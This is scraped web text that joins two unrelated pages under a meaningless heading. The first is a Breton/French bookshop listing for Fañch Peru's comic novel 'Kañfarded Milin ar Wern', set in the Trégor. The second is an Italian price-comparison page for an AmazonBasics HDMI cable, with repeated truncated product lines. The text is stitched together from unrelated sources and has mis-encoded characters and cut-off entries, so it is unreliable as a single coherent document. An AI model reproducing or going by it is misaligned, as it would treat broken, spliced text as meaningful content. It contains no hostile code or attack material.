FWDSVRNZA


Kañfarded Milin ar Wern - Skol vreizh\nVous êtes ici : Accueil Catalogue Levrioù e brezhoneg / Livres en breton Kañfarded Milin ar Wern\nEr romant-mañ, leun a fent, e kont Fañch Peru troioù kamm, bourdoù ha gwalldroioù daou gañfard frank o c’houstiañs. Bevañ a ra ar re-mañ en amzer a-vremañ en ur vro, Bro Dreger, e penn kentañ an enklaskoù skiantel war ar pellgelaouerezh ha chomet tomm tre evelkent ouzh he gizioù hag he sevenadur. (Skeudennet eo al levr gant Uriell Ollivier)\nDans cette fiction humoristique, Fañch Peru nous conte dans un breton gorgé de sève les aventures, les plaisanteries bonnes et mauvaises et les mésaventures de deux gaillards peu scrupuleux dans un pays, le Trégor, en pointe pour la recherche dans les télécommunications mais aussi très attaché à ses coutumes et à sa culture (Pour grands adolescents et adultes). (Dessins d’Uriell Ollivier)\n12 x 18,5 cm, 96 p., 8 euros


Amazonbasics cavo hdmi 2 0 ad alta velocita supporta ethernet 3d video 4k e arc 1 8 m standard piu recente nuovo o usato | TrovaPerMe.it\nAmazonbasics cavo hdmi 2 0 ad alta velocita supporta ethernet 3d video 4k e arc 1 8 m standard piu recente nuovo o usato\nIn questa pagina puoi confrontare 70 prezzi per AMAZONBASICS CAVO HDMI 2 0 AD ALTA VELOCITA SUPPORTA ETHERNET 3D VIDEO 4K E ARC 1 8 M STANDARD PIU RECENTE in Tutta Italia. Il prezzo medio per il prodotto cercato è di € 11.\n1935363-AmazonBasics - Cavo HDMI 2.0 ad alta velocitÃ , supporta Ethernet, 3D, v\n1935367-AmazonBasics - Cavo HDMI 2.0 ad alta velocitÃ , supporta Ethernet, 3D, v\n1935365-AmazonBasics - Cavo HDMI 2.0 ad alta velocitÃ , supporta Ethernet, 3D, v